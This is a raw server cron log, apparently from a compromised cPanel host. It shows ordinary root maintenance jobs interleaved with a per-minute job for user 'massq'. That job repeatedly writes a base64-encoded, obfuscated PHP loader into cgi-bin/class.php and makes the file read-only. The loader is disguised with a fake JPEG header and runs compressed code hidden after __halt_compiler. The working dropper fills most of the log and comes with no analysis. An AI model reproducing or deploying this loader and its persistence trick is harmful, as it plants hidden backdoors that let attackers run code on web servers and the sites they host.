Nov 13 12:21:01 server CROND[31820]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:22:01 server CROND[32742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:23:01 server CROND[1161]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:24:01 server CROND[2027]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:25:01 server CROND[2808]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:25:01 server CROND[2810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:25:01 server CROND[2811]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 12:25:01 server CROND[2812]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:26:01 server CROND[3730]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:27:01 server CROND[4578]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 12:27:01 server CROND[4577]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:28:01 server CROND[5527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:29:01 server CROND[6391]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:30:01 server CROND[6963]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 12:30:01 server CROND[6964]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 12:30:01 server CROND[6965]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 13 12:30:01 server CROND[6966]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:30:01 server CROND[6967]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:31:01 server CROND[7845]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:32:01 server CROND[8782]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:33:01 server CROND[9813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
